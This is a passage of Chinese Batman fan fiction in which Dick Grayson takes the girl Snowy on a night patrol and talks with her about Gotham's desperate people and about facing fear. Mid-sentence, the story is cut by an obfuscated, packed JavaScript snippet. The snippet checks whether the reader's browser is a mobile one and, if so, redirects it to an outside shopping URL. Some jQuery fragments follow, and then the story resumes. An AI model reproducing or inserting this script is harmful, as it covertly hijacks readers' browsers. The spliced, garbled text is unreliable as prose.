一个周末的夜晚，斯诺伊第一次被允许和迪克一起进行夜巡——不是参与行动，只是待在蝙蝠车里，通过屏幕观察。
蝙蝠车在哥谭的街道上无声地穿行。窗外是这座城市特有的景象：霓虹灯在雾气中晕染成模糊的光团，阴影里藏着不知道什么，偶尔有警笛声从远处传来。
“你看到那边那个巷子了吗？”迪克指着屏幕上的一条小巷，“三周前，我在那里阻止了一起抢劫。一个年轻人想抢一个老人的包，被我拦下了。后来查出来，他是因为失业付不起房租，走投无路。”
“你抓了他？”
“没有。”迪克说，“我给他找了一份工作。现在他在一个仓库当搬运工，至少能养活自己了。”
斯诺伊看着屏幕，没有说话。
“这就是哥谭。”迪克说，“不是好人坏人的问题，是很复杂的问题。我们做的，只是让那些走投无路的人，不至于把别人也拖进深渊。”
蝙蝠车继续前进，穿过一个又一个街区。斯诺伊看到很多在白天看不到的东西：流浪者在桥洞里生火取暖，醉鬼在酒吧后巷呕吐，有人在黑暗中进行着不知道什么交易。
“你第一次看到这些的时候，怕吗？”她问迪克。
迪克想了想。“怕。现在有时候也怕。但怕不代表要退缩。怕的时候，就想想自己在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350276|195324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乎的人，想想自己为什么在这里。”
斯诺伊看着窗外，想起自己在乎的人。布鲁斯，迪克，达米安，阿尔弗雷德，还有那盆蕨类植物，还有日光室里的阳光，还有那个写着“欢迎回家”的蛋糕。
“我不怕了。”她轻声说。
迪克转头看她，笑了。“那很好。”
夜巡持续了三个小时，然后蝙蝠车驶回庄园。斯诺伊回到自己房间时已经很晚，但她躺在床上，很久没有睡着。
窗外的哥谭依然灯火通明，依然藏着无数秘密和危险。但斯诺伊知道，在这座城市的某个角落，有她的家人在守护着。而她，也是其中的一员了。